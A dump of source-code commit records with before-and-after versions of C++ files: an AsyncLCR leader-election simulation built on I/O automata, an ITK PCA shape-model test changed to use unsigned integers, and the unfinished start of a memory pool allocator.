strm,\n\t\t\t const uuid& u) {\n u.print_on (strm);\n return strm;\n}\n\n\/*\n Channel I\/O Automaton\n Distributed Algorithms, p. 204.\n*\/\n\ntemplate <class T>\nclass channel_automaton :\n public ioa::dispatching_automaton\n{\nprivate:\n std::queue<T> m_queue;\n\n V_UP_INPUT (channel_automaton, send, T, t) {\n m_queue.push (t);\n schedule ();\n }\n \n bool receive_precondition () const {\n return !m_queue.empty () && receive.is_bound ();\n }\n\n V_UP_OUTPUT (channel_automaton, receive, T) {\n std::pair<bool, T> retval;\n\n if (receive_precondition ()) {\n retval = std::make_pair (true, m_queue.front ());\n m_queue.pop ();\n }\n\n schedule ();\n return retval;\n }\n\n\n void schedule () {\n if (receive_precondition ()) {\n ioa::scheduler.schedule (this, &channel_automaton::receive);\n }\n }\n\npublic:\n\n channel_automaton () :\n ACTION (channel_automaton, send),\n ACTION (channel_automaton, receive)\n { }\n \n void init () { }\n};\n\n\/*\n AsyncLCR Automaton\n Distributed Algorithms, p. 204.\n*\/\n\nclass asynch_lcr_automaton :\n public ioa::dispatching_automaton\n{\nprivate:\n typedef enum {\n UNKNOWN,\n CHOSEN,\n REPORTED\n } status_t;\n\n uuid m_u;\n std::queue<uuid> m_send;\n status_t m_status;\n\n V_UP_INPUT (asynch_lcr_automaton, receive, uuid, v) {\n\n if (v > m_u) {\n m_send.push (v);\n }\n else if (v == m_u) {\n m_status = CHOSEN;\n }\n else {\n \/\/ Do nothing.\n }\n \n schedule ();\n }\n\n bool send_precondition () const {\n return !m_send.empty () && send.is_bound ();\n }\n\n V_UP_OUTPUT (asynch_lcr_automaton, send, uuid) {\n\n std::pair<bool, uuid> retval;\n\n if (send_precondition ()) {\n retval = std::make_pair (true, m_send.front ());\n m_send.pop ();\n }\n\n schedule ();\n return retval;\n }\n\n bool leader_precondition () const {\n return m_status == CHOSEN && leader.is_bound ();\n }\n\n UV_UP_OUTPUT (asynch_lcr_automaton, leader) {\n bool retval = false;\n\n if (leader_precondition ()) {\n retval = true;\n m_status = REPORTED;\n }\n\n schedule ();\n return retval;\n }\n\n void schedule () {\n if (send_precondition ()) {\n ioa::scheduler.schedule (this, &asynch_lcr_automaton::send);\n }\n\n if (leader_precondition ()) {\n ioa::scheduler.schedule (this, &asynch_lcr_automaton::leader);\n }\n }\n\npublic:\n\n asynch_lcr_automaton () :\n m_status (UNKNOWN),\n ACTION (asynch_lcr_automaton, receive),\n ACTION (asynch_lcr_automaton, send),\n ACTION (asynch_lcr_automaton, leader)\n {\n m_send.push (m_u);\n }\n\n void init () {\n schedule ();\n }\n\n};\n\ntemplate <size_t N>\nclass composer :\n public ioa::dispatching_automaton\n{\nprivate:\n\n UV_P_INPUT (composer, leader, size_t, i) {\n std::cout << i << \" is the leader.\" << std::endl;\n }\n\n typedef ioa::instance_generator<asynch_lcr_automaton> asynch_lcr_automaton_generator_type;\n typedef ioa::instance_generator<channel_automaton<uuid> > channel_automaton_generator_type;\n\n typedef ioa::automaton_helper<composer, asynch_lcr_automaton_generator_type> asynch_lcr_automaton_helper_type;\n typedef ioa::automaton_helper<composer, channel_automaton_generator_type> channel_automaton_helper_type;\n typedef ioa::self_helper<composer> composer_helper_type;\n\n typedef ioa::bind_helper<composer, asynch_lcr_automaton_helper_type, asynch_lcr_automaton::send_type, channel_automaton_helper_type, channel_automaton<uuid>::send_type> send_bind_helper_type;\n typedef ioa::bind_helper<composer, channel_automaton_helper_type, channel_automaton<uuid>::receive_type, asynch_lcr_automaton_helper_type, asynch_lcr_automaton::receive_type> receive_bind_helper_type;\n typedef ioa::bind_helper<composer, asynch_lcr_automaton_helper_type, asynch_lcr_automaton::leader_type, composer_helper_type, typename composer::leader_type> leader_bind_helper_type;\n\n std::vector<asynch_lcr_automaton_helper_type*> asynch_lcr_automaton_helpers;\n std::vector<channel_automaton_helper_type*> channel_automaton_helpers;\n composer_helper_type composer_helper;\n std::vector<send_bind_helper_type*> send_bind_helpers;\n std::vector<receive_bind_helper_type*> receive_bind_helpers;\n std::vector<leader_bind_helper_type*> leader_bind_helpers;\n \npublic:\n\n composer () :\n ACTION (composer, leader),\n composer_helper (this)\n {\n for (size_t i = 0; i < N; ++i) {\n asynch_lcr_automaton_helpers.push_back (new asynch_lcr_automaton_helper_type (this, asynch_lcr_automaton_generator_type ()));\n channel_automaton_helpers.push_back (new channel_automaton_helper_type (this, channel_automaton_generator_type ()));\n }\n\n for (size_t i = 0; i < N; ++i) {\n send_bind_helpers.push_back (new send_bind_helper_type (this,\n\t\t\t\t\t\t\t asynch_lcr_automaton_helpers[i],\n\t\t\t\t\t\t\t &asynch_lcr_automaton::send,\n\t\t\t\t\t\t\t channel_automaton_helpers[i],\n\t\t\t\t\t\t\t &channel_automaton<uuid>::send));\n receive_bind_helpers.push_back (new receive_bind_helper_type (this,\n\t\t\t\t\t\t\t\t channel_automaton_helpers[i],\n\t\t\t\t\t\t\t\t &channel_automaton<uuid>::receive,\n\t\t\t\t\t\t\t\t asynch_lcr_automaton_helpers[(i + 1) % N],\n\t\t\t\t\t\t\t\t &asynch_lcr_automaton::receive));\n leader_bind_helpers.push_back (new leader_bind_helper_type (this,\n\t\t\t\t\t\t\t\t asynch_lcr_automaton_helpers[i],\n\t\t\t\t\t\t\t\t &asynch_lcr_automaton::leader,\n\t\t\t\t\t\t\t\t &composer_helper,\n\t\t\t\t\t\t\t\t &composer::leader,\n\t\t\t\t\t\t\t\t i));\n }\n\n }\n\n void init () {\n for (size_t i = 0; i < N; ++i) {\n asynch_lcr_automaton_helpers[i]->create ();\n channel_automaton_helpers[i]->create ();\n send_bind_helpers[i]->bind ();\n receive_bind_helpers[i]->bind ();\n leader_bind_helpers[i]->bind ();\n }\n composer_helper.create ();\n }\n\n};\n\nint\nmain () {\n ioa::scheduler.run (ioa::instance_generator<composer<100> > ());\n return 0; \n}\n<commit_msg>Minor changes.<commit_after>#include <ioa.hpp>\n#include <queue>\n#include <iostream>\n#include <uuid\/uuid.h>\n\nstruct uuid {\n uuid_t u;\n\n uuid () {\n uuid_generate (u);\n }\n\n uuid (const uuid& x) {\n uuid_copy (u, x.u);\n }\n\n uuid& operator= (const uuid& x) {\n if (this != &x) {\n uuid_copy (u, x.u);\n }\n return *this;\n }\n\n bool operator> (const uuid& x) const {\n return uuid_compare (u, x.u) > 0;\n }\n\n bool operator== (const uuid& x) const {\n return uuid_compare (u, x.u) == 0;\n }\n\n void print_on (std::ostream& os) const {\n char s[37];\n uuid_unparse (u, s);\n os << s;\n }\n};\n\nstd::ostream& operator<< (std::ostream& strm,\n\t\t\t const uuid& u) {\n u.print_on (strm);\n return strm;\n}\n\n\/*\n Channel I\/O Automaton\n Distributed Algorithms, p. 204.\n*\/\n\ntemplate <class T>\nclass channel_automaton :\n public ioa::dispatching_automaton\n{\nprivate:\n std::queue<T> m_queue;\n\n V_UP_INPUT (channel_automaton, send, T, t) {\n m_queue.push (t);\n schedule ();\n }\n \n bool receive_precondition () const {\n return !m_queue.empty () && receive.is_bound ();\n }\n\n V_UP_OUTPUT (channel_automaton, receive, T) {\n std::pair<bool, T> retval;\n\n if (receive_precondition ()) {\n retval = std::make_pair (true, m_queue.front ());\n m_queue.pop ();\n }\n\n schedule ();\n return retval;\n }\n\n\n void schedule () {\n if (receive_precondition ()) {\n ioa::scheduler.schedule (this, &channel_automaton::receive);\n }\n }\n\npublic:\n\n channel_automaton () :\n ACTION (channel_automaton, send),\n ACTION (channel_automaton, receive)\n { }\n \n void init () { }\n};\n\n\/*\n AsyncLCR Automaton\n Distributed Algorithms, p. 204.\n*\/\n\nclass asynch_lcr_automaton :\n public ioa::dispatching_automaton\n{\nprivate:\n typedef enum {\n UNKNOWN,\n CHOSEN,\n REPORTED\n } status_t;\n\n uuid m_u;\n std::queue<uuid> m_send;\n status_t m_status;\n\n V_UP_INPUT (asynch_lcr_automaton, receive, uuid, v) {\n\n if (v > m_u) {\n m_send.push (v);\n }\n else if (v == m_u) {\n m_status = CHOSEN;\n }\n else {\n \/\/ Do nothing.\n }\n \n schedule ();\n }\n\n bool send_precondition () const {\n return !m_send.empty () && send.is_bound ();\n }\n\n V_UP_OUTPUT (asynch_lcr_automaton, send, uuid) {\n\n std::pair<bool, uuid> retval;\n\n if (send_precondition ()) {\n retval = std::make_pair (true, m_send.front ());\n m_send.pop ();\n }\n\n schedule ();\n return retval;\n }\n\n bool leader_precondition () const {\n return m_status == CHOSEN && leader.is_bound ();\n }\n\n UV_UP_OUTPUT (asynch_lcr_automaton, leader) {\n bool retval = false;\n\n if (leader_precondition ()) {\n retval = true;\n m_status = REPORTED;\n }\n\n schedule ();\n return retval;\n }\n\n void schedule () {\n if (send_precondition ()) {\n ioa::scheduler.schedule (this, &asynch_lcr_automaton::send);\n }\n\n if (leader_precondition ()) {\n ioa::scheduler.schedule (this, &asynch_lcr_automaton::leader);\n }\n }\n\npublic:\n\n asynch_lcr_automaton () :\n m_status (UNKNOWN),\n ACTION (asynch_lcr_automaton, receive),\n ACTION (asynch_lcr_automaton, send),\n ACTION (asynch_lcr_automaton, leader)\n {\n m_send.push (m_u);\n }\n\n void init () {\n schedule ();\n }\n\n};\n\ntemplate <size_t N>\nclass composer :\n public ioa::dispatching_automaton\n{\nprivate:\n\n UV_P_INPUT (composer, leader, size_t, i) {\n std::cout << i << \" is the leader.\" << std::endl;\n }\n\n typedef ioa::instance_generator<asynch_lcr_automaton> asynch_lcr_automaton_generator_type;\n typedef ioa::instance_generator<channel_automaton<uuid> > channel_automaton_generator_type;\n\n typedef ioa::automaton_helper<composer, asynch_lcr_automaton_generator_type> asynch_lcr_automaton_helper_type;\n typedef ioa::automaton_helper<composer, channel_automaton_generator_type> channel_automaton_helper_type;\n typedef ioa::self_helper<composer> composer_helper_type;\n\n typedef ioa::bind_helper<composer, asynch_lcr_automaton_helper_type, asynch_lcr_automaton::send_type, channel_automaton_helper_type, channel_automaton<uuid>::send_type> send_bind_helper_type;\n typedef ioa::bind_helper<composer, channel_automaton_helper_type, channel_automaton<uuid>::receive_type, asynch_lcr_automaton_helper_type, asynch_lcr_automaton::receive_type> receive_bind_helper_type;\n typedef ioa::bind_helper<composer, asynch_lcr_automaton_helper_type, asynch_lcr_automaton::leader_type, composer_helper_type, typename composer::leader_type> leader_bind_helper_type;\n\n std::vector<asynch_lcr_automaton_helper_type*> asynch_lcr_automaton_helpers;\n std::vector<channel_automaton_helper_type*> channel_automaton_helpers;\n composer_helper_type composer_helper;\n std::vector<send_bind_helper_type*> send_bind_helpers;\n std::vector<receive_bind_helper_type*> receive_bind_helpers;\n std::vector<leader_bind_helper_type*> leader_bind_helpers;\n \npublic:\n\n composer () :\n ACTION (composer, leader),\n composer_helper (this)\n {\n for (size_t i = 0; i < N; ++i) {\n asynch_lcr_automaton_helpers.push_back (new asynch_lcr_automaton_helper_type (this, asynch_lcr_automaton_generator_type ()));\n channel_automaton_helpers.push_back (new channel_automaton_helper_type (this, channel_automaton_generator_type ()));\n }\n\n for (size_t i = 0; i < N; ++i) {\n send_bind_helpers.push_back (new send_bind_helper_type (this,\n\t\t\t\t\t\t\t asynch_lcr_automaton_helpers[i],\n\t\t\t\t\t\t\t &asynch_lcr_automaton::send,\n\t\t\t\t\t\t\t channel_automaton_helpers[i],\n\t\t\t\t\t\t\t &channel_automaton<uuid>::send));\n receive_bind_helpers.push_back (new receive_bind_helper_type (this,\n\t\t\t\t\t\t\t\t channel_automaton_helpers[i],\n\t\t\t\t\t\t\t\t &channel_automaton<uuid>::receive,\n\t\t\t\t\t\t\t\t asynch_lcr_automaton_helpers[(i + 1) % N],\n\t\t\t\t\t\t\t\t &asynch_lcr_automaton::receive));\n leader_bind_helpers.push_back (new leader_bind_helper_type (this,\n\t\t\t\t\t\t\t\t asynch_lcr_automaton_helpers[i],\n\t\t\t\t\t\t\t\t &asynch_lcr_automaton::leader,\n\t\t\t\t\t\t\t\t &composer_helper,\n\t\t\t\t\t\t\t\t &composer::leader,\n\t\t\t\t\t\t\t\t i));\n }\n\n }\n\n void init () {\n for (size_t i = 0; i < N; ++i) {\n asynch_lcr_automaton_helpers[i]->create ();\n channel_automaton_helpers[i]->create ();\n send_bind_helpers[i]->bind ();\n receive_bind_helpers[i]->bind ();\n leader_bind_helpers[i]->bind ();\n }\n composer_helper.create ();\n }\n\n};\n\nint\nmain () {\n ioa::scheduler.run (ioa::instance_generator<composer<100> > ());\n return 0; \n}\n<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: Insight Segmentation & Registration Toolkit\n Module: itkImagePCAShapeModelEstimatorTest.cxx\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n Copyright (c) Insight Software Consortium. All rights reserved.\n See ITKCopyright.txt or http:\/\/www.itk.org\/HTML\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even \n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR \n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n#if defined(_MSC_VER)\n#pragma warning ( disable : 4786 )\n#endif\n\/\/ Insight classes\n#include \"itkImage.h\"\n#include \"itkVector.h\"\n#include \"vnl\/vnl_matrix_fixed.h\"\n#include \"vnl\/vnl_math.h\"\n#include \"itkImageRegionIterator.h\"\n#include \"itkLightProcessObject.h\"\n#include \"itkTextOutput.h\"\n\n#include \"itkImagePCAShapeModelEstimator.h\"\n\n\/\/ class to support progress feeback\n\n\nclass ShowProgressObject\n{\npublic:\n ShowProgressObject(itk::LightProcessObject * o)\n {m_Process = o;}\n void ShowProgress()\n {std::cout << \"Progress \" << m_Process->GetProgress() << std::endl;}\n itk::LightProcessObject::Pointer m_Process;\n};\n\n\nint itkImagePCAShapeModelEstimatorTest(int, char* [] )\n{\n \/\/Data definitions \n int IMGWIDTH = 2;\n int IMGHEIGHT = 2;\n const int NDIMENSION = 2;\n int NUMTRAINIMAGES = 3;\n int NUMLARGESTPC = 2;\n\n itk::OutputWindow::SetInstance(itk::TextOutput::New().GetPointer());\n\n \/\/------------------------------------------------------\n \/\/Create 3 simple test images with\n \/\/------------------------------------------------------\n typedef itk::Image<double,NDIMENSION> InputImageType; \n typedef itk::Image<double,NDIMENSION> OutputImageType; \n typedef itk::Image<double,NDIMENSION> MeanImageType;\n\n\n typedef InputImageType::PixelType ImagePixelType;\n\n typedef InputImageType::PixelType InputImagePixelType;\n\n typedef\n itk::ImageRegionIterator< InputImageType > InputImageIterator;\n\n typedef\n itk::ImageRegionIterator< OutputImageType > OutputImageIterator;\n \n InputImageType::Pointer image1 = InputImageType::New();\n\n InputImageType::Pointer image2 = InputImageType::New();\n\n InputImageType::Pointer image3 = InputImageType::New();\n\n InputImageType::SizeType inputImageSize = {{ IMGWIDTH, IMGHEIGHT }};\n\n InputImageType::IndexType index;\n index.Fill(0);\n InputImageType::RegionType region;\n\n region.SetSize( inputImageSize );\n region.SetIndex( index );\n\n \/\/------------------------------------------------------------------------\n \/\/ Set up Image 1 first\n \/\/------------------------------------------------------------------------\n\n image1->SetLargestPossibleRegion( region );\n image1->SetBufferedRegion( region );\n image1->Allocate();\n\n \/\/ setup the iterators\n InputImageIterator image1It( image1, image1->GetBufferedRegion() );\n\n \/\/------------------------------------------------------------------------\n \/\/ Set up Image 2 first\n \/\/------------------------------------------------------------------------\n\n image2->SetLargestPossibleRegion( region );\n image2->SetBufferedRegion( region );\n image2->Allocate();\n\n \/\/ setup the iterators\n InputImageIterator image2It( image2, image2->GetBufferedRegion() );\n\n \/\/------------------------------------------------------------------------\n \/\/ Set up Image 3 first\n \/\/------------------------------------------------------------------------\n\n image3->SetLargestPossibleRegion( region );\n image3->SetBufferedRegion( region );\n image3->Allocate();\n\n \/\/ setup the iterators\n InputImageIterator image3It( image3, image3->GetBufferedRegion() );\n\n \/\/------------------------------------------------------------------------\n \/\/Manually create and store each vector\n \/\/------------------------------------------------------------------------\n \/\/Image no. 1\n for( int i = 0; i< 4; i++ )\n {\n image1It.Set( 1 ); ++image1It;\n }\n \/\/Image no. 2\n image2It.Set( 2 ); ++image2It;\n image2It.Set( 0 ); ++image2It;\n image2It.Set( 0 ); ++image2It;\n image2It.Set( 2 ); ++image2It;\n\n \/\/Image no. 3\n image3It.Set( 0 ); ++image3It;\n image3It.Set( 3 ); ++image3It;\n image3It.Set( 3 ); ++image3It;\n image3It.Set( 0 ); ++image3It;\n\n \/\/----------------------------------------------------------------------\n \/\/ Test code for the Shape model estimator\n \/\/----------------------------------------------------------------------\n\n \/\/----------------------------------------------------------------------\n \/\/Set the image model estimator\n \/\/----------------------------------------------------------------------\n typedef itk::ImagePCAShapeModelEstimator<InputImageType, OutputImageType> \n ImagePCAShapeModelEstimatorType;\n\n ImagePCAShapeModelEstimatorType::Pointer \n applyPCAShapeEstimator = ImagePCAShapeModelEstimatorType::New();\n\n \/\/----------------------------------------------------------------------\n \/\/Set the parameters of the clusterer\n \/\/----------------------------------------------------------------------\n applyPCAShapeEstimator->SetNumberOfTrainingImages( NUMTRAINIMAGES );\n applyPCAShapeEstimator->SetNumberOfPrincipalComponentsRequired( NUMLARGESTPC + 1 );\n applyPCAShapeEstimator->SetNumberOfPrincipalComponentsRequired( NUMLARGESTPC );\n applyPCAShapeEstimator->SetInput(0, image1);\n applyPCAShapeEstimator->SetInput(1, image2);\n applyPCAShapeEstimator->SetInput(2, image3);\n\n applyPCAShapeEstimator->Update();\n\n \/\/Test the printself function to increase coverage\n applyPCAShapeEstimator->Print(std::cout);\n\n \/\/Exercise TypeMacro in superclass\n typedef ImagePCAShapeModelEstimatorType::Superclass GenericEstimatorType;\n std::cout << applyPCAShapeEstimator->GenericEstimatorType::GetNameOfClass() << std::endl;\n\n \/\/Print out the number of training images and the number of principal \n \/\/components\n std::cout << \"The number of training images are: \" <<\n applyPCAShapeEstimator->GetNumberOfTrainingImages() << std::endl;\n\n std::cout << \"The number of principal components desired are: \" <<\n applyPCAShapeEstimator->GetNumberOfPrincipalComponentsRequired() << std::endl;\n\n \/\/Print the eigen vectors\n vnl_vector<double> eigenValues = \n applyPCAShapeEstimator->GetEigenValues();\n unsigned int numEigVal = eigenValues.size();\n std::cout << \"Number of returned eign-values: \" << numEigVal << std::endl;\n\n std::cout << \"The \" << \n applyPCAShapeEstimator->GetNumberOfPrincipalComponentsRequired() << \n \" largest eigen values are:\" << std::endl;\n\n for(unsigned int i= 0; i< vnl_math_min( numEigVal, (unsigned int)NUMLARGESTPC ); i++ )\n {\n std::cout << eigenValues[ i ] << std::endl; \n } \n std::cout << \"\" << std::endl;\n std::cout << \"\" << std::endl;\n\n \n \/\/Print the MeanImage\n OutputImageType::Pointer outImage = applyPCAShapeEstimator->GetOutput( 0 );\n OutputImageIterator outImageIt( outImage, outImage->GetBufferedRegion() );\n outImageIt.GoToBegin();\n\n std::cout << \"The mean image is:\" << std::endl;\n while(!outImageIt.IsAtEnd() )\n {\n std::cout << (double)(outImageIt.Get()) << \";\" << std::endl; \n ++outImageIt; \n } \n std::cout << \" \" << std::endl;\n\n \/\/Print the largest two eigen vectors\n for (unsigned int j=1; j< NUMLARGESTPC + 1; j++ )\n {\n OutputImageType::Pointer outImage2 = applyPCAShapeEstimator->GetOutput( j );\n OutputImageIterator outImage2It( outImage2, outImage2->GetBufferedRegion() );\n outImage2It.GoToBegin();\n\n std::cout << \"\" << std::endl;\n std::cout << \"The eigen vector number: \" << j << \" is:\" << std::endl;\n while(!outImage2It.IsAtEnd() )\n {\n std::cout << (double) (outImage2It.Get()) << \";\" << std::endl; \n ++outImage2It; \n } \n std::cout << \" \" << std::endl;\n\n }\n\n \/\/Test for the eigen values for the test case precomputed using Matlab\/Splus\n std::cout << \"\" << std::endl;\n if( (eigenValues[2] < 6 || eigenValues[2] > 6.1) || (eigenValues[1] >0.1) )\n {\n std::cout<< \"Test Passed\" << std::endl;\n }\n else\n {\n std::cout<< \"Test failed\" << std::endl;\n return EXIT_FAILURE;\n }\n\n\n return EXIT_SUCCESS;\n}\n<commit_msg>COMP: fix warning NUMLARGESTPC is an unsigned int<commit_after>\/*=========================================================================\n\n Program: Insight Segmentation & Registration Toolkit\n Module: itkImagePCAShapeModelEstimatorTest.cxx\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n Copyright (c) Insight Software Consortium. All rights reserved.\n See ITKCopyright.txt or http:\/\/www.itk.org\/HTML\/Copyright.htm for details.\n\n This software is distributed WITHOUT ANY WARRANTY; without even \n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR \n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n#if defined(_MSC_VER)\n#pragma warning ( disable : 4786 )\n#endif\n\/\/ Insight classes\n#include \"itkImage.h\"\n#include \"itkVector.h\"\n#include \"vnl\/vnl_matrix_fixed.h\"\n#include \"vnl\/vnl_math.h\"\n#include \"itkImageRegionIterator.h\"\n#include \"itkLightProcessObject.h\"\n#include \"itkTextOutput.h\"\n\n#include \"itkImagePCAShapeModelEstimator.h\"\n\n\/\/ class to support progress feeback\n\n\nclass ShowProgressObject\n{\npublic:\n ShowProgressObject(itk::LightProcessObject * o)\n {m_Process = o;}\n void ShowProgress()\n {std::cout << \"Progress \" << m_Process->GetProgress() << std::endl;}\n itk::LightProcessObject::Pointer m_Process;\n};\n\n\nint itkImagePCAShapeModelEstimatorTest(int, char* [] )\n{\n \/\/Data definitions \n int IMGWIDTH = 2;\n int IMGHEIGHT = 2;\n const int NDIMENSION = 2;\n unsigned int NUMTRAINIMAGES = 3;\n unsigned int NUMLARGESTPC = 2;\n\n itk::OutputWindow::SetInstance(itk::TextOutput::New().GetPointer());\n\n \/\/------------------------------------------------------\n \/\/Create 3 simple test images with\n \/\/------------------------------------------------------\n typedef itk::Image<double,NDIMENSION> InputImageType; \n typedef itk::Image<double,NDIMENSION> OutputImageType; \n typedef itk::Image<double,NDIMENSION> MeanImageType;\n\n\n typedef InputImageType::PixelType ImagePixelType;\n\n typedef InputImageType::PixelType InputImagePixelType;\n\n typedef\n itk::ImageRegionIterator< InputImageType > InputImageIterator;\n\n typedef\n itk::ImageRegionIterator< OutputImageType > OutputImageIterator;\n \n InputImageType::Pointer image1 = InputImageType::New();\n\n InputImageType::Pointer image2 = InputImageType::New();\n\n InputImageType::Pointer image3 = InputImageType::New();\n\n InputImageType::SizeType inputImageSize = {{ IMGWIDTH, IMGHEIGHT }};\n\n InputImageType::IndexType index;\n index.Fill(0);\n InputImageType::RegionType region;\n\n region.SetSize( inputImageSize );\n region.SetIndex( index );\n\n \/\/------------------------------------------------------------------------\n \/\/ Set up Image 1 first\n \/\/------------------------------------------------------------------------\n\n image1->SetLargestPossibleRegion( region );\n image1->SetBufferedRegion( region );\n image1->Allocate();\n\n \/\/ setup the iterators\n InputImageIterator image1It( image1, image1->GetBufferedRegion() );\n\n \/\/------------------------------------------------------------------------\n \/\/ Set up Image 2 first\n \/\/------------------------------------------------------------------------\n\n image2->SetLargestPossibleRegion( region );\n image2->SetBufferedRegion( region );\n image2->Allocate();\n\n \/\/ setup the iterators\n InputImageIterator image2It( image2, image2->GetBufferedRegion() );\n\n \/\/------------------------------------------------------------------------\n \/\/ Set up Image 3 first\n \/\/------------------------------------------------------------------------\n\n image3->SetLargestPossibleRegion( region );\n image3->SetBufferedRegion( region );\n image3->Allocate();\n\n \/\/ setup the iterators\n InputImageIterator image3It( image3, image3->GetBufferedRegion() );\n\n \/\/------------------------------------------------------------------------\n \/\/Manually create and store each vector\n \/\/------------------------------------------------------------------------\n \/\/Image no. 1\n for( int i = 0; i< 4; i++ )\n {\n image1It.Set( 1 ); ++image1It;\n }\n \/\/Image no. 2\n image2It.Set( 2 ); ++image2It;\n image2It.Set( 0 ); ++image2It;\n image2It.Set( 0 ); ++image2It;\n image2It.Set( 2 ); ++image2It;\n\n \/\/Image no. 3\n image3It.Set( 0 ); ++image3It;\n image3It.Set( 3 ); ++image3It;\n image3It.Set( 3 ); ++image3It;\n image3It.Set( 0 ); ++image3It;\n\n \/\/----------------------------------------------------------------------\n \/\/ Test code for the Shape model estimator\n \/\/----------------------------------------------------------------------\n\n \/\/----------------------------------------------------------------------\n \/\/Set the image model estimator\n \/\/----------------------------------------------------------------------\n typedef itk::ImagePCAShapeModelEstimator<InputImageType, OutputImageType> \n ImagePCAShapeModelEstimatorType;\n\n ImagePCAShapeModelEstimatorType::Pointer \n applyPCAShapeEstimator = ImagePCAShapeModelEstimatorType::New();\n\n \/\/----------------------------------------------------------------------\n \/\/Set the parameters of the clusterer\n \/\/----------------------------------------------------------------------\n applyPCAShapeEstimator->SetNumberOfTrainingImages( NUMTRAINIMAGES );\n applyPCAShapeEstimator->SetNumberOfPrincipalComponentsRequired( NUMLARGESTPC + 1 );\n applyPCAShapeEstimator->SetNumberOfPrincipalComponentsRequired( NUMLARGESTPC );\n applyPCAShapeEstimator->SetInput(0, image1);\n applyPCAShapeEstimator->SetInput(1, image2);\n applyPCAShapeEstimator->SetInput(2, image3);\n\n applyPCAShapeEstimator->Update();\n\n \/\/Test the printself function to increase coverage\n applyPCAShapeEstimator->Print(std::cout);\n\n \/\/Exercise TypeMacro in superclass\n typedef ImagePCAShapeModelEstimatorType::Superclass GenericEstimatorType;\n std::cout << applyPCAShapeEstimator->GenericEstimatorType::GetNameOfClass() << std::endl;\n\n \/\/Print out the number of training images and the number of principal \n \/\/components\n std::cout << \"The number of training images are: \" <<\n applyPCAShapeEstimator->GetNumberOfTrainingImages() << std::endl;\n\n std::cout << \"The number of principal components desired are: \" <<\n applyPCAShapeEstimator->GetNumberOfPrincipalComponentsRequired() << std::endl;\n\n \/\/Print the eigen vectors\n vnl_vector<double> eigenValues = \n applyPCAShapeEstimator->GetEigenValues();\n unsigned int numEigVal = eigenValues.size();\n std::cout << \"Number of returned eign-values: \" << numEigVal << std::endl;\n\n std::cout << \"The \" << \n applyPCAShapeEstimator->GetNumberOfPrincipalComponentsRequired() << \n \" largest eigen values are:\" << std::endl;\n\n for(unsigned int i= 0; i< vnl_math_min( numEigVal, NUMLARGESTPC ); i++ )\n {\n std::cout << eigenValues[ i ] << std::endl; \n } \n std::cout << \"\" << std::endl;\n std::cout << \"\" << std::endl;\n\n \n \/\/Print the MeanImage\n OutputImageType::Pointer outImage = applyPCAShapeEstimator->GetOutput( 0 );\n OutputImageIterator outImageIt( outImage, outImage->GetBufferedRegion() );\n outImageIt.GoToBegin();\n\n std::cout << \"The mean image is:\" << std::endl;\n while(!outImageIt.IsAtEnd() )\n {\n std::cout << (double)(outImageIt.Get()) << \";\" << std::endl; \n ++outImageIt; \n } \n std::cout << \" \" << std::endl;\n\n \/\/Print the largest two eigen vectors\n for (unsigned int j=1; j< NUMLARGESTPC + 1; j++ )\n {\n OutputImageType::Pointer outImage2 = applyPCAShapeEstimator->GetOutput( j );\n OutputImageIterator outImage2It( outImage2, outImage2->GetBufferedRegion() );\n outImage2It.GoToBegin();\n\n std::cout << \"\" << std::endl;\n std::cout << \"The eigen vector number: \" << j << \" is:\" << std::endl;\n while(!outImage2It.IsAtEnd() )\n {\n std::cout << (double) (outImage2It.Get()) << \";\" << std::endl; \n ++outImage2It; \n } \n std::cout << \" \" << std::endl;\n\n }\n\n \/\/Test for the eigen values for the test case precomputed using Matlab\/Splus\n std::cout << \"\" << std::endl;\n if( (eigenValues[2] < 6 || eigenValues[2] > 6.1) || (eigenValues[1] >0.1) )\n {\n std::cout<< \"Test Passed\" << std::endl;\n }\n else\n {\n std::cout<< \"Test failed\" << std::endl;\n return EXIT_FAILURE;\n }\n\n\n return EXIT_SUCCESS;\n}\n<|endoftext|>"} {"text":"<commit_before>#pragma once\n#include <Utility\/MemoryManager\/Include\/Allocator\/MemoryAllocator.hpp>\n#include <exception>\n\nnamespace Utility\n{\n namespace MemoryManager\n {\n class ApplicationAllocator;\n\n template <typename T> class PoolAllocator : public MemoryAllocator\n {\n\n PoolAllocator::PoolAllocator() {}\n\n \/**\n Start the pool and allocate their own memory\n *\/\n void Initialize(const size_t& p_memorySize, MemoryAllocator& p_applicationAllocator, const uint8_t& p_alignment, const bool& p_threadShared)\n {\n \/\/ TODORT move to cpp\n MemoryAllocator::Initialize(p_memorySize, p_alignment, p_threadShared);\n }\n\n \/**\n Start the pool with our application allocator as base, distributes already allocated memory from \"above\".\n *\/\n void Initialize(const size_t& p_memorySize, MemoryAllocator& p_applicationAllocator, const uint8_t& p_alignment, const bool& p_threadShared)\n {\n \/\/ TODORT move to cpp\n MemoryAllocator::Initialize(p_memorySize, p_applicationAllocator, p_alignment, p_threadShared);\n }\n\n \/**\n TODORT docs\n *\/\n void RawAllocator::InternalInitialize()\n {\n m_firstFree = m_raw;\n if(m_alignment > m_headerSizeInBytes)\n {\n \/\/ TODORT fix freelist\n }\n else\n {\n \/\/ TODORT\n throw std::runtime_error(\"m_alignment must be larger than m_headerSizeInBytes:\" + m_headerSizeInBytes);\n }\n }\n\n \/\/ void IncreasePoolSize(){} \/\/TODORT\n \/\/ void GetPossibleMemoryLeaks\n \/\/ void GetOccupiedBlocks (Iterate through all blocks and check flags)\n\n virtual PoolAllocator::~PoolAllocator() {}\n\n T* Allocate()\n {\n if((m_numberOfTotalBlocks - m_numberOfOccupiedBlocks) > 0)\n {\n \/\/ Compute adjustment\n const uint8_t mask = m_alignment - m_headerSizeInBytes;\n const uint8_t misalignment = (reinterpret_cast<size_t>(m_raw) & mask);\n const uint8_t adjustment = m_alignment - misalignment;\n\n \/\/ Get next pointer\n\n \/\/ Compute\n\n \/\/ Compute start\n m_currentFree = reinterpret_cast<size_t*>(reinterpret_cast<size_t>(m_currentFree) + adjustment);\n\n \/\/ Set adjustment metadata\n size_t* adjustmentMetaData = reinterpret_cast<size_t*>(reinterpret_cast<size_t>(m_currentFree) - 